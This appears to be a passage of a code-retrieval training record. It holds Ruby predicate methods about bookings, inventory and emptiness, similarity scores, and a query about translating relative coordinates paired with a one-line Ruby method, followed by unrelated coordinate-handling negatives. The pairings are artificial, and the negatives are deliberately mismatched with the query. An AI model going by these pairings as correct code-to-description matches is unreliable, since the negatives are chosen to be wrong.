"def any_received_booking_not_confirmed_and_not_declined?\n count = 0\n index\n @received_bookings.each do |booking|\n count += 1 if !booking.confirmed && !booking.declined\n end\n true if count.positive?\n end",
"def foowable?\n store = self\n week_end=Time.now.yesterday.end_of_day\n week_start=week_end.ago(7.days)\n drt=week_start..week_end\n return false if !store.located?\n return false if store.service_radius.nil?\n return false if store.service_radius > 1500.0 #need to improve later\n return false if store.orders.limit(30).pluck(:customer_id).uniq.count < 3\n return false if store.orders.where(submit_at: drt).count < 7\n return true\n end",
"def pending_shop_request?\n !launched_shop? && latest_pending_shop_request\n end",
"def account_used\n\n\t\tif Booking.where(location_id: Location.where(company_id: self.id).pluck(:id)).where('created_at > ?', DateTime.now - 1.weeks).count > 0\n\t\t\treturn true\n\t\tend\n\n\t\treturn false\n\n\tend",
"def no_booking\n self.flights.empty?\n end",
"def finished?\r\n return passengers.all? {|x| x.plan.empty? }\r\n end",
"def full?\n @docked_ship_ids.length >= docking_spots\n end",
"def multiple_locations?(holdings)\n locations = holdings.reject { |_k, h| h['library'] == 'Online' }.map { |_k, h| h['location'] }.uniq\n locations.length > 1\n end",
"def agent_available?\n @free_agents.count > 0\n end",
"def empty?\n prune\n @store.empty?\n end",
"def has_no_readings?\n readings.size.eql?(0)\n end",
"def make_sure_no_duplicate_offers\n other_offer = self.sender.active_offer_between_user_for_textbook(self.reciever_id, self.textbook_id)\n\n if other_offer.nil?\n if self.listing.nil?\n\t if self.selling?\n self.errors.add(:reciever_id, \"You don't have a current listing 'For Sale' for this book. You must post a listing before sending an offer to sell your book.\")\n\t else\n self.errors.add(:reciever_id, \"#{self.reciever.username} doesn't have a current listing 'For Sale' for this book.\")\n\t end\n\n return false\n\tend\n \n return true\n end\n\n if self.reciever_id == other_offer.reciever_id\n self.errors.add(:reciever_id, \"You already sent #{self.reciever.username} an offer for this book. You can check your offers sent by navigating to the 'Offers' page in the upper-left links then clicking 'View sent offers here'. (note: once a user rejects (not counter offers) your offer for a particular book, you may only respond to their offers)\")\n return false\n elsif other_offer.selling? != self.selling?\n other_offer.update_status(2)\n return true\n else\n self.errors.add(:reciever_id, \"#{self.reciever.username}'s removed their listing for this book!\")\n end\n end",
"def any_requested_booking_confirmed_not_completed?\n count = 0\n index\n @requested_bookings.each do |booking|\n count += 1 if booking.confirmed && !booking.completed\n end\n true if count.positive?\n end",
"def track_shipments?\n !store.disable_shipment_transfers?\n end",
"def remaining?\n return true if max_times.zero?\n registrations.count < max_times\n end",
"def entirely_unshipped?\n line_items_uncancelled.empty?.not && line_items_uncancelled.detect {|li| ! li.shipment.nil? }.nil?\n end",
"def seats_available?\n (capacity - total_enrollments) > 0\n end",
"def contains_alcohol?\n (self.shipping_categories - [1,2,3,4]).empty? && !self.shipping_categories.empty?\n end",
"def is_available?\n return self.available_inventory > 0\n end",
"def fully_shipped?\n shipments.where(partial: false).where(\"shipped_at IS NOT NULL\").any?\n end",
"def has_inventory?\n inventory_count > 0\n end",
"def has_inventory?\n inventory_count > 0\n end",
"def empty?\n count <= 0\n end",
"def available?\n @available_at <= Time.now && !rented?\n end",
"def full?\n slots_available.zero?\n end",
"def shippable?\n status != \"shipped\" && products.count >= 1\n end",
"def self_placements_only?\n count = 0\n placements.filled.each{|p| count += 1 if p.position.self_placement? }\n count == placements.filled.size\n end",
"def can_deal?\n size() >= 6\n end",
"def empty?\n self.count == 0\n end",
"def empty?\n self.count == 0\n end",
"def new_available?(w)\n new_batches(w).any?\n end",
"def faab?\n free_agent? && !waiver_bid.nil?\n end",
"def full?\n bike_count >= capacity\n end",
"def too_may_guests_in_room__true()\n if @guests.check_in_count() > @capacity\n return true\n end\n return false\n end",
"def is_pending?\n (self.pending_feeds.count > 0)\n end",
"def empty?\n @total == 0\n end",
"def game_over?\n @all_ships.empty?\n end",
"def empty?\n total_count == 0\n end",
"def empty?\n total_count == 0\n end",
"def exhausted?\n return false if !published?\n\n @redis.multi do\n @redis.llen(key_queue_unprocessed)\n @redis.hlen(key_queue_running)\n end.inject(:+).zero?\n end",
"def any_received_booking_confirmed_not_completed?\n count = 0\n index\n @received_bookings.each do |booking|\n count += 1 if booking.confirmed && !booking.completed\n end\n true if count.positive?\n end",
"def empty?\r\n candies.count == 0\r\n end",
"def end_game?\n not @previous_deal.valat? and @result_points.to_hash.values.any? { |points| points >= 151 }\n end",
"def existing_reservations?\n !existing_reservations.empty?\n end",
"def empty?\n @lock.synchronize { @used.size == 0 && @available.size == 0 }\n end",
"def move_available?\n total_available_moves > 0\n end",
"def empty?\n count == 0\n end",
"def empty?\n count == 0\n end",
"def should_be_offline?\n time_ago = (update_frequency.seconds * 4.8).ago\n # Provides leeway for new stations\n if created_at > time_ago\n return false\n end\n observations.since(time_ago).order(created_at: :desc).count < 3\n end",
"def used?\n return true unless Counsel.where(survey: self).empty?\n return true unless Solicitation.where(survey: self).empty?\n return true unless Promulgation.for_survey(self).empty?\n return false\n end",
"def expanding?\n (from_aleph? || expanded_holdings.any?)\n end",
"def more_mentors_ok?\n mentors.size < offering.max_number_of_mentors\n end",
"def no_boat_available?\n num_of_not_yard_status_boat = Boat.where(boat_class_id: self.boat_class_id).not_in_yard.count\n num_of_not_yard_by_date = Boat.ransack(\n boat_class_id_eq: self.boat_class_id,\n status_eq: Boat.statuses[:yard],\n yard_end_date_lt: self.start_date\n ).result.count\n\n num_of_boat_blocked = BookingNumOfBoatBlockedService.new(self).perform\n\n num_boats_of_class = num_of_not_yard_status_boat + num_of_not_yard_by_date - num_of_boat_blocked\n num_booking_of_class_q = {\n start_date_or_end_date_in: self.start_date..self.end_date,\n status_in: [\n Booking.statuses[:tba],\n Booking.statuses[:confirmed],\n Booking.statuses[:in_use],\n Booking.statuses[:processing]\n ],\n g: [{\n boat_boat_class_id_eq: boat_class_id,\n g: [{\n boat_id_present: 0,\n boat_class_id_eq: boat_class_id\n }],\n m: \"or\"\n }]\n }\n num_booking_of_class_q[:id_not_eq] = id if id.present?\n num_booking_of_class = Booking.ransack(num_booking_of_class_q).result.length\n\n # 877 - 2 bookings per day\n # Doesnot count those booking with departure_time after Setting.second_booking_depart_from\n second_booking_depart_from = Setting.second_booking_depart_from\n return num_booking_of_class >= num_boats_of_class if second_booking_depart_from.blank?\n num_of_late_booking_on_end_date_q = {\n start_date_eq: end_date,\n departure_time_in_sec_gteq: Setting.second_booking_depart_from,\n status_in: [\n Booking.statuses[:tba],\n Booking.statuses[:confirmed],\n Booking.statuses[:in_use],\n Booking.statuses[:processing]\n ],\n g: [{\n boat_boat_class_id_eq: boat_class_id,\n g: [{\n boat_id_present: 0,\n boat_class_id_eq: boat_class_id\n }],\n m: \"or\"\n }]\n }\n num_of_late_booking_on_end_date_q[:id_not_eq] = id if id.present?\n num_of_late_booking_on_end_date = Booking.ransack(num_of_late_booking_on_end_date_q).result.length\n\n (num_booking_of_class - num_of_late_booking_on_end_date) >= num_boats_of_class\n end",
"def backlist?\n (!self.available_on.nil? && self.available_on < self.class.recent_on)\n end",
"def reviewers_full?\n return false if offering.min_number_of_reviews_per_applicant.blank?\n reviewers.without_committee_scores.size >= offering.min_number_of_reviews_per_applicant\n end",
"def next_station_available?\n current_station_index != @route.stations.length - 1\n end",
"def empty?\n @items.count == 0\n end",
"def onsite_holdings\n holdings.select do |holding|\n !is_offsite_location_code?(holding[:location_code])\n # !LOCATIONS['offsite_locations'].include? holding[:location_code]\n end\n end",
"def empty?\n synchronize do\n return false if @publishing || @canceled || @stopping\n\n @items.empty? && @queue.empty?\n end\n end",
"def full?\n\t\t\t\t@available <= 0\n\t\t\tend",
"def enemy_eliminated?\n items = listen\n\n if items.empty? \n true\n elsif items.all?(&:ticking?)\n true\n elsif @possible_enemy_count==0\n true\n else\n false\n end\n end",
"def responded_with_availability?\n !interview_availabilities.empty?\n end",
"def is_open?\n bookings.completed.empty?\n end"
] | [
"0.73762673",
"0.67329735",
"0.66097456",
"0.6604794",
"0.6591897",
"0.6465306",
"0.6453284",
"0.6357941",
"0.63112307",
"0.61815304",
"0.6155567",
"0.613523",
"0.6133661",
"0.61175406",
"0.6083638",
"0.60711193",
"0.60544145",
"0.60544145",
"0.60503423",
"0.60490185",
"0.60373956",
"0.599328",
"0.59611696",
"0.5938121",
"0.59248763",
"0.5915014",
"0.5896756",
"0.58834004",
"0.58793193",
"0.58656484",
"0.58650655",
"0.5861367",
"0.5860137",
"0.5860137",
"0.584208",
"0.58374774",
"0.5835563",
"0.58015215",
"0.57916236",
"0.57874525",
"0.5774486",
"0.57735485",
"0.5772287",
"0.57684743",
"0.5767775",
"0.5761441",
"0.57553923",
"0.57526374",
"0.57304406",
"0.5720996",
"0.5719678",
"0.57131404",
"0.57123685",
"0.5708954",
"0.570117",
"0.5697763",
"0.5695304",
"0.5684608",
"0.5684608",
"0.5681808",
"0.5678517",
"0.5676813",
"0.56730217",
"0.56629777",
"0.5660181",
"0.5659413",
"0.5659413",
"0.56474894",
"0.5623286",
"0.5609816",
"0.56064487",
"0.5605301",
"0.5604284",
"0.56041765",
"0.56024647",
"0.56024647",
"0.55966383",
"0.559612",
"0.5595317",
"0.55825394",
"0.558188",
"0.5577073",
"0.55755544",
"0.5574119",
"0.5574119",
"0.55698895",
"0.55648476",
"0.5563698",
"0.55614483",
"0.5559291",
"0.55579525",
"0.5547409",
"0.5540725",
"0.5540486",
"0.5537447",
"0.5533117",
"0.55325526",
"0.55315906",
"0.5526857",
"0.5525988"
] | 0.7491813 | 0 |
Translates a relative coordinate into a real one | def coord(x); (x*@game.height).to_i; end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def relative_position(x, y)\n Castaway::Point.new(x, y) * production.resolution\n end",
"def relative(xr, yr)\n Position.new(x + xr, y + yr)\n end",
"def trans(coord)\n\treturn [coord[0]+600, -coord[1]+350]\nend",
"def translate(x, y)\n [ x - bounds.x, y - bounds.y ]\n end",
"def relative_coordinate(x_change, y_change)\n new_x = x + x_change\n new_y = y + y_change\n\n if in_bounds?(new_x, new_y)\n Coordinate.new(new_x, new_y)\n else\n ImpossibleCoordinate.new\n end\n end",
"def adjust_to_relative_pos(tx,ty)\n x = tx - (self.x - @positions[:current][:x])\n y = ty - (self.y - @positions[:current][:y])\n return x,y\n end",
"def translate_pos(given)\n Zif.add_positions(Zif.position_math(:mult, given, zoom_factor), pos)\n end",
"def relative_coords(from, move)\n [from[0] + move[0], from[1] + move[1]]\n end",
"def translate_pos(given)\n Zif.add_positions(Zif.position_math(:mult, given, zoom_factor), pos)\n end",
"def normalize_coords(x, y)\n x = x * -1 - 1 if x < 0\n y = y * -1 - 1 if y > -1\n [x, y]\n end",
"def coord2pos(x, y)\n (y % h)*w+(x % w)\n end",
"def user_coordinate\r\n\t\tconvert_coordinate(1)\r\n\tend",
"def translate(options={})\n options = options.to_hash rescue options.to_h\n \n {\n x: absolute_x + options[:x].to_i,\n y: absolute_y + options[:y].to_i\n }\n end",
"def transformCoord(coord)\n dotat = coord.index('.') \n tmp1 = coord[dotat-1]\n tmp2 = coord[dotat-2]\n \n coord[dotat-2] = \".\"\n coord[dotat-1] = tmp2\n coord[dotat] = tmp1\n \n return coord.to_f \n end",
"def screen_to_relative(*args)\n s = screen_position\n vec2 = Vector2[*args]\n vec2.x -= s.x\n vec2.y -= s.y\n vec2\n end",
"def translateX(x)\n return x - @camX\n end",
"def origin\n Entities::Point.new(\n (Game::WIDTH - map.pixel_width) / 2,\n (Game::HEIGHT - map.pixel_height) / 2\n )\n end",
"def relative(mode = :terrain)\r\n modifier = mode == :terrain ? -1 : 1\r\n Position.new(map, (@x + modifier)/2, (@y + modifier)/2)\r\n end",
"def convert_coords(screen, x, y, z)\n\t\txd = x * $persp / (z + $space_size) + screen.width / 2\n\t\tyd = y * $persp / (z + $space_size) + screen.height / 2\n\t\treturn xd, yd\n\tend",
"def to_local(point)\n inverse * point\n end",
"def screen_position_relative_to(px,py,xi,yi,sextx,sexty)\n tx = @wrapped_surface.tile_x\n ty = @wrapped_surface.tile_y\n xoff = offset_from_screen(xi*tx, px, sextx)\n yoff = offset_from_screen(yi*ty, py, sexty)\n [xoff,yoff]\n end",
"def translate(x, y)\n primitive 'translate ' + sprintf('%g,%g', x, y)\n end",
"def to_coordinates\n\n CGPointMake(self.x.to_coordinates, self.y.to_coordinates)\n end",
"def transform_data\n latitude = self.latitude\n longitude = self.longitude\n tempLat = latitude/100\n floatLat = (latitude - (tempLat.to_i * 100))/60\n lat = tempLat.to_i + floatLat\n tempLng = longitude/100\n floatLng = (longitude - (tempLng.to_i * 100))/60\n lng = tempLng.to_i + floatLng\n self.latitude = lat \n self.longitude = lng \nend",
"def grid_point_to_absolute(point)\n Point.new((@pos.x + point.x * @cellsize).to_i, (@pos.y + point.y * @cellsize).to_i)\n end",
"def compute_position\n # The negative and the ninety are the fudge to compensate for our map.\n lat = @latitude_radians = radians(-@latitude)\n long = @longitude_radians = radians(@longitude + 90)\n radius = $app.globe.diameter / 2.0 - 23\n @x = radius * cos(lat) * sin(long)\n @y = radius * sin(lat)\n @z = radius * cos(lat) * cos(long)\n end",
"def transform \n \n @pixel_location = get_pixel_points \n puts \"px loc : #{@pixel_location}\"\n \n while @pixel_location.size != 0 \n transform_pixel_points(@pixel_location)\n @pixel_location.shift\n @pixel_location.shift\n end\n end",
"def ref(x, y, _width, _height)\n translate(x, y) if x != 0 || y != 0\n end",
"def coord_geographic\n FACTORY.unproject(self.coord)\n end",
"def translatef(*args)\n r = Rect.new x, y, w, h\n r.position += r.resolution * Vector2[args.singularize]\n r\n end",
"def translate_absolute(x, y)\n if controller.parent\n x, y = *controller.parent.translate_absolute(x, y)\n end\n [x,y]\n end",
"def convert_from_uv(uv_value, absolute_side)\n # Account for the fact that Syntheyes assumes the\n # pixel values to be at the center of the pixel\n abs_value = (((uv_value.to_f / 2.0) + 0.5) * (absolute_side.to_f - 1)) + 0.5\n end",
"def make_absolute(point)\n absolute_position + point * Core::Point.new(width, height)\n end",
"def draw_relative(camera_x=-@camera_x, camera_y=-@camera_y, &block)\n Gamework::App.window.translate(camera_x, camera_y) { yield }\n end",
"def translate(x, y, &rendering_code); end",
"def move_absolute( coord_x, coord_y, coord_z)\n\n Status.current.info_target_x = coord_x\n Status.current.info_target_y = coord_y\n Status.current.info_target_z = coord_z\n\n # calculate the number of steps for the motors to do\n\n steps_x = coord_x * @ramps_param.axis_x_steps_per_unit\n steps_y = coord_y * @ramps_param.axis_y_steps_per_unit\n steps_z = coord_z * @ramps_param.axis_z_steps_per_unit\n\n move_to_coord(steps_x, steps_y, steps_z )\n\n end",
"def x_translation(p_context)\n xcch = (p_context.cw / 2).floor - (rhl * p_context.scale).floor\n amw = (picture_width * p_context.scale).floor\n xt = xcch - (xp_from_hn(p_context.current_hex) * p_context.scale).floor\n if amw < p_context.cw then\n xt = (p_context.cw - amw) / 2 \n elsif xt > 0 then\n xt = 0\n elsif (xt + amw) < p_context.cw then\n xt = p_context.cw - amw\n end \n return xt / p_context.scale\n end",
"def apply_transform!\n @location = @dy.transformPoint( @location )\n end",
"def translate_to_point(*location)\n p = Point.new(*location)\n Line.new(p, Point.new(p.x + (x2 - x1), p.y + (y2 - y1)))\n end",
"def calc_point_rotated_relative(x,y, theta)\r\n# - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\n theta = conv_degree_to_radian(theta)\r\n xr= Math.cos(theta)*x - Math.sin(theta)*y \r\n yr = Math.sin(theta)*x + Math.cos(theta)*y \r\n pRes = CNCPoint.new(xr,yr)\r\nend",
"def new_coord\n [@position, @@move[@direction]].transpose.map { |coord| coord.reduce(:+) }\n end",
"def move_absolute( coord_x, coord_y, coord_z)\n @target_x = coord_x\n @target_y = coord_y\n @target_z = coord_z\n\n # calculate the number of steps for the motors to do\n\n steps_x = coord_x * @axis_x_steps_per_unit\n steps_y = coord_y * @axis_y_steps_per_unit\n steps_z = coord_z * @axis_z_steps_per_unit\n\n move_to_coord(steps_x, steps_y, steps_z )\n\n end",
"def projection_point(p)\n Point.project(p - p1, self.direction.to_point) + p1\n end",
"def human_move_to_coord(human_move)\n trad = {\n \"1\" => [0, 0], #upper left corner\n \"2\" => [0, 1],\n \"3\" => [0, 2],\n \"4\" => [1, 0],\n \"5\" => [1, 1],\n \"6\" => [1, 2],\n \"7\" => [2, 0],\n \"8\" => [2, 1],\n \"9\" => [2, 2] # down right corner\n }\n trad[human_move] #return position in our nested array\n end",
"def coords_to_pos(point)\n (size - 1 - point.y) * size + point.x\n end",
"def moveto(x, y)\n #@ox = x; @oy = y\n @x = x % $game_map.width\n @y = y % $game_map.height\n #kk20\n @real_x = @x * 128 + 64\n @real_y = @y * 128 + 64\n end",
"def snap_offset\n @y += @off_y / 32\n @x += @off_x / 32\n @real_x = @x * 128\n @real_y = @y * 128\n @off_y = 0#@off_y % 32\n @off_x = 0#@off_x % 32\n end",
"def normalizePoint(point, normalizer)\n x = point[0] + normalizer[0]\n y = point[1] + normalizer[1]\n # make sure we didn't wrap one way or the other.\n # taking the shortest great circle distance.\n x = x <= -180 ? x +360 : x\n x = x >= 180 ? x +360 : x\n return [x,y]\n end",
"def move_absolute( coord_x, coord_y, coord_z)\n\n # calculate the number of steps for the motors to do\n\n $status.info_target_x = coord_x\n $status.info_target_y = coord_y\n $status.info_target_z = coord_z\n\n steps_x = coord_x * @axis_x_steps_per_unit\n steps_y = coord_y * @axis_y_steps_per_unit\n steps_z = coord_z * @axis_z_steps_per_unit\n\n @axis_x_pos = steps_x\n @axis_y_pos = steps_y\n @axis_z_pos = steps_z\n\n move_to_coord(steps_x, steps_y, steps_z )\n\n end",
"def translate_origin(axis, offset)\n case axis\n when \"x\"\n axis = 0\n when \"y\"\n axis = 1\n when \"z\"\n axis = 2\n else\n # Raise error\n end\n\n result_ik = MotionPlan.nudge(axis, offset, [@current_ik.a0, @current_ik.a1, @current_ik.a2, @current_ik.a3, @current_ik.a4, @current_ik.a5])\n update(result_ik) if result_ik[:success]\n end",
"def move_relative( amount_x, amount_y, amount_z)\n\n # calculate the number of steps for the motors to do\n\n $status.info_target_x = @axis_x_pos_conv + amount_x\n $status.info_target_y = @axis_y_pos_conv + amount_y\n $status.info_target_z = @axis_z_pos_conv + amount_z\n\n steps_x = amount_x * @axis_x_steps_per_unit + @axis_x_pos\n steps_y = amount_y * @axis_y_steps_per_unit + @axis_y_pos\n steps_z = amount_z * @axis_z_steps_per_unit + @axis_z_pos\n\n @axis_x_pos = steps_x\n @axis_y_pos = steps_y\n @axis_z_pos = steps_z\n\n move_to_coord( steps_x, steps_y, steps_z )\n\n end",
"def translate(dx, dy)\n @xx += dx\n @yy += dy\n end",
"def relative(x); x.to_f/@game.height; end",
"def c2f_x(x)\n x / zoom + x_orig\n end",
"def gather_coords(x,y)\n if y == 100\n y = 99.9\n end\n if x == 100\n x = 99.9\n end\n id = (x * 10000 + 0.5).floor * 10000 + (y * 10000 + 0.5).floor\n return id/100\nend",
"def x\n OFFSET_FROM_LEFT + (coordinates.x * 700).to_i\n end",
"def decimal_to_coordinate\n\t\treturn nil if self.blank?\n\t\tvalue = self.to_f\n\n\t\t# Degrees\n\t\tdegrees = value.to_i\n\t\tvalue = value - degrees # Remove integer part\n\t\t\n\t\t# Minutes\n\t\tvalue = value * 60\n\t\tminutes = value.to_i\n\t\tvalue = value - minutes # Remove integer part\n\n\t\t# Seconds\n\t\tvalue = value * 60\n\t\tseconds = value.round(2)\n\t\t\n\t\tresult = \"#{degrees.to_s}°\"\n\t\tresult += \" #{minutes.to_s}'\"\n\t\tresult += \" #{seconds.to_s}\\\"\"\n\t\treturn result\n\tend",
"def move_relative( amount_x, amount_y, amount_z)\n\n # calculate the number of steps for the motors to do\n\n @target_x = @current_x + amount_x\n @target_y = @current_y + amount_y\n @target_z = @current_z + amount_z\n\n steps_x = amount_x * @axis_x_steps_per_unit + @current_x_steps\n steps_y = amount_y * @axis_y_steps_per_unit + @current_y_steps\n steps_z = amount_z * @axis_z_steps_per_unit + @current_z_steps\n\n move_to_coord( steps_x, steps_y, steps_z )\n\n end",
"def translate(x, y = 0)\n transform[:translate] = [x, y]\n end",
"def relativize_points points, rel_points\n m_begin \"relativize_points\"\n raise \"invalid argument\" unless points.class == Array && rel_points.class == Array\n lastx, lasty = 0, 0\n points.each do\n |x, y|\n rel_points << [x-lastx, y-lasty]\n lastx = x\n lasty = y\n end\n m_end \"relativize_points\"\n end",
"def get_real_point\n pos_x = x * get_scale(:x)\n pos_y = y * get_scale(:y)\n return Point.new(pos_x, pos_y) unless (has_layer?)\n real_point = get_layer.get_real_point\n return Point.new(\n (real_point.x + pos_x),\n (real_point.y + pos_y)\n )\n end",
"def relative_coords(x, y)\n diameter = Cfg.galaxy_zone_diameter\n\n # Calculate coordinate in zone. Ensure that in-zone coordinate is\n # calculated correctly if absolute coord is negative.\n calc_coord = lambda do |c|\n return c % diameter if c >= 0\n mod = c.abs % diameter\n mod == 0 ? 0 : diameter - mod\n end\n\n [calc_coord[x], calc_coord[y]]\n end",
"def move_relative( amount_x, amount_y, amount_z)\n\n # calculate the number of steps for the motors to do\n\n Status.current.info_target_x = Status.current.info_current_x + amount_x\n Status.current.info_target_y = Status.current.info_current_y + amount_y\n Status.current.info_target_z = Status.current.info_current_z + amount_z\n\n steps_x = amount_x * @ramps_param.axis_x_steps_per_unit + Status.current.info_current_x_steps\n steps_y = amount_y * @ramps_param.axis_y_steps_per_unit + Status.current.info_current_y_steps\n steps_z = amount_z * @ramps_param.axis_z_steps_per_unit + Status.current.info_current_z_steps\n\n move_to_coord( steps_x, steps_y, steps_z )\n\n end",
"def moveto(x, y)\n @ox = @x = x\n @oy = @y = y \n @real_x = @x * 128\n @real_y = @y * 128 \n end",
"def human_move_to_coordinate(human_move)\n mapping = {\n \"1\" => [0, 0],\n \"2\" => [1, 0],\n \"3\" => [2, 0],\n \"4\" => [0, 1],\n \"5\" => [1, 1],\n \"6\" => [2, 1],\n \"7\" => [0, 2],\n \"8\" => [1, 2],\n \"9\" => [2, 2]\n }\n mapping[human_move]\n end",
"def f2c_x(x)\n (x - x_orig) * zoom\n end",
"def transformed(p)\r\n (0..1).map do |i|\r\n (p[i] - @old_center[i])*@zoom + (@center[i] - @old_center[i])*@zoom + @old_center[i]\r\n end\r\n end",
"def coordinate\n x = ((position-1) / area.x_max) + 1\n y = position - (x-1) * area.x_max\n \"(#{x}, #{y})\"\n end",
"def translate(m, p)\n sw = p.translatePoint(m.origin)\n ne = p.translatePoint(Integration::Point.new(m.origin.x + m.size.width, m.origin.y + m.size.height))\n CGRectMake(sw.x, sw.y, ne.x - sw.x, ne.y - sw.y)\n end",
"def translate(*offset)\n p = Point.new(*offset)\n self + p\n end",
"def translate_coordinate(coordinate)\n translated = case coordinate\n when '1' then 2\n when '2' then 1\n when '3' then 0\n when 'a' then 0\n when 'b' then 1\n when 'c' then 2\n else nil\n end\n translated\n end",
"def relative_offset\n active_position = self.game.player.position\n if self.position >= active_position\n return (active_position - self.position) / 10\n else\n return (active_position - self.position - self.game.number_of_players) / 10\n end\n end",
"def calc_point_rotated_abs(x,y, angle)\r\n# - - - - - - - - - - - - - - - - - - - - - - - - - -\r\n curr_angle = calc_angle(0,0,x,y)\r\n rel_amt = angle - curr_angle\r\n return calc_point_rotate_relative(x,y,rel_amt)\r\nend",
"def relative_to_screen(*args)\n s = screen_position\n vec2 = Vector2[*args]\n vec2.x += s.x\n vec2.y += s.y\n vec2\n end",
"def absolute_coordinate(s)\n '$%s$%d' % coordinate_from_string(s)\n end",
"def translate(vector)\n Point.new(*to_a.zip(vector.to_a).map { |a, b| a + b})\n end",
"def human_move_to_coordinate(human_move)\n {\n '1' => [0, 0], '2' => [1, 0], '3' => [2, 0],\n '4' => [0, 1], '5' => [1, 1], '6' => [2, 1],\n '7' => [0, 2], '8' => [1, 2], '9' => [2, 2]\n }[human_move]\n end",
"def realToIndex(x,y,z) \n @my_ii = Grid.nearest(x,@mD.xStart,@mD.xIncr)\n @my_jj = Grid.nearest(y,@mD.yStart,@mD.yIncr)\n @my_doy = z\n # puts \"realToIndex: x #{x}, xStart #{@mD.xStart}, xIncr #{@mD.xIncr} myX #{@my_ii}; y #{y}, myY #{@my_jj} z #{z}, myZ #{@my_doy}\"\n [@my_ii,@my_jj,@my_doy]\n end",
"def translate(point={})\n set RGhost::Cursor.translate(point)\n end",
"def projected_move\n\t\t\t\traise NotYetPlaced if been_placed.nil?\n\n\t\t\t\t_x = x\n\t\t\t\t_y = y\n\t\t\t\tcase face\n\t\t\t\twhen 'NORTH'\n\t\t\t\t\t_y += 1\n\t\t\t\twhen 'EAST'\n\t\t\t\t\t_x += 1\t\t\t\t\t\n\t\t\t\twhen 'SOUTH'\n\t\t\t\t\t_y -= 1\n\t\t\t\twhen 'WEST'\n\t\t\t\t\t_x -= 1\t\t\t\t\t\n\t\t\t\tend\n\t\t\t\t[_x, _y]\n\t\t\tend",
"def untransformed(p)\r\n (0..1).map do |i|\r\n (p[i] - @old_center[i])/@zoom + (@old_center[i] - @center[i]) + @old_center[i]\r\n end\r\n end",
"def convert_position!\n trx = self[:TrX]\n try = self[:TrY]\n\n self[:TrX] = 0\n self[:TrY] = 0\n self[:TrZ] = 0\n\n # To fix an issue with pto reading files ignoring attributes that have a =0\n trx = '0.0' if trx == 0.0\n try = '0.0' if try == 0.0\n\n self[:d] = trx\n self[:e] = try\n self\n end",
"def normalize_lat deg\n case deg \n when -360..-270\n deg % 90 \n when -270..-180\n 90 - (deg % 90)\n when -180..-90\n - (deg % 90)\n when -90..0 \n -90 + (deg % 90) \n when 0..90\n deg\n when 90..180 \n deg % 90\n when 180..270 \n - (deg % 90)\n when 270..360 \n - 90 + (deg % 90)\n else\n raise ArgumentError, \"Degrees #{deg} out of range, must be between -360 to 360\" \n end \n end",
"def coordinates\n return 166, 72\n end",
"def rel_x\n return x - Graphics.width/2\n end",
"def rel_x\n return x - Graphics.width/2\n end",
"def move_to(xx, yy)\n @x = xx\n @y = yy\n normalize\n end",
"def convert(degrees_F = 73)\r\n (degrees_F - 32) * 5 / 9.0\r\nend",
"def convert_coordinates_to_location(coordinates)\n index_to_letter(coordinates[0]) + coordinates[1].to_s\n end",
"def move_rel(x=nil, y=nil)\n return unless x && y\n\n self.pos_x = @pos_x + x.round\n self.pos_y = @pos_y + y.round\n end",
"def rel_pos(enpt, vec)\n ratio = @enpt.prog / @enpt.points[1].pos.distance(@enpt.points[2].pos).to_m\n tangent = spline_tangent(@enpt, ratio)\n angle = Math::PI - Math.atan2(tangent.x, tangent.y)\n vec.transform!(Geom::Transformation.rotation(enpt, Z_AXIS, angle))\n # camera is focused at player's head, so we add 200 to the height\n return enpt + vec + [0, 0, 200.m]\n end",
"def clone_position(character)\n # copy real_x and real_y\n @real_x, @real_y = character.real_x, character.real_y\n # get pixel movement rate\n pix = $BlizzABS.pixel\n # if battler and not battler before\n if self.is_a?(Map_Battler) && !character.is_a?(Map_Battler)\n # copy coordinates with correction\n @x, @y = character.x * pix, character.y * pix\n # if not battler and battler before\n elsif !self.is_a?(Map_Battler) && character.is_a?(Map_Battler)\n # copy coordinates with correction\n @x, @y = character.x / pix, character.y / pix\n else\n # just copy coordinates\n @x, @y = character.x, character.y\n end\n end",
"def project x1, y1, a, m\n rad = a * D2R\n [x1 + Math.cos(rad) * m, y1 + Math.sin(rad) * m]\n end",
"def normalize_coordinates\n minY = minX = 1000000\n maxX = maxY = -minX\n @passages.each do |passage|\n if passage.x < minX then minX = passage.x end\n if passage.x > maxX then maxX = passage.x end\n if passage.y < minY then minY = passage.y end\n if passage.y > maxY then maxY = passage.y end\n end\n x_distance = 0 - minX\n y_distance = 0 - minY\n @extentX = maxX + x_distance\n @extentY = maxY + y_distance\n @passages.each do |passage|\n passage.x += x_distance\n passage.y += y_distance\n end\n end",
"def api\n CLLocationCoordinate2DMake(latitude, longitude)\n end",
"def translate(*args)\n r = Rect.new x, y, w, h\n r.position += Vector2[args.singularize]\n r\n end",
"def latitude\n -37.8136\n end",
"def to_coordinate(human_move)\n mapping = {\n \"A1\"=>[0,0], \"A2\"=>[0,1], \"A3\"=>[0,2], \"A4\"=>[0,3], \"A5\"=>[0,4], \"A6\"=>[0,5],\n \"B1\"=>[1,0], \"B2\"=>[1,1], \"B3\"=>[1,2], \"B4\"=>[1,3], \"B5\"=>[1,4], \"B6\"=>[1,5],\n \"C1\"=>[2,0], \"C2\"=>[2,1], \"C3\"=>[2,2], \"C4\"=>[2,3], \"C5\"=>[2,4], \"C6\"=>[2,5],\n \"D1\"=>[3,0], \"D2\"=>[3,1], \"D3\"=>[3,2], \"D4\"=>[3,3], \"D5\"=>[3,4], \"D6\"=>[3,5],\n \"E1\"=>[4,0], \"E2\"=>[4,1], \"E3\"=>[4,2], \"E4\"=>[4,3], \"E5\"=>[4,4], \"E6\"=>[4,5],\n \"F1\"=>[5,0], \"F2\"=>[5,1], \"F3\"=>[5,2], \"F4\"=>[5,3], \"F5\"=>[5,4], \"F6\"=>[5,5],\n \"G1\"=>[6,0], \"G2\"=>[6,1], \"G3\"=>[6,2], \"G4\"=>[6,3], \"G5\"=>[6,4], \"G6\"=>[6,5]\n }\n mapping[human_move]\n end",
"def spritestack_coordinates\n return 25, 125\n end",
"def translate(x)\n return 2 * x + 1\n end",
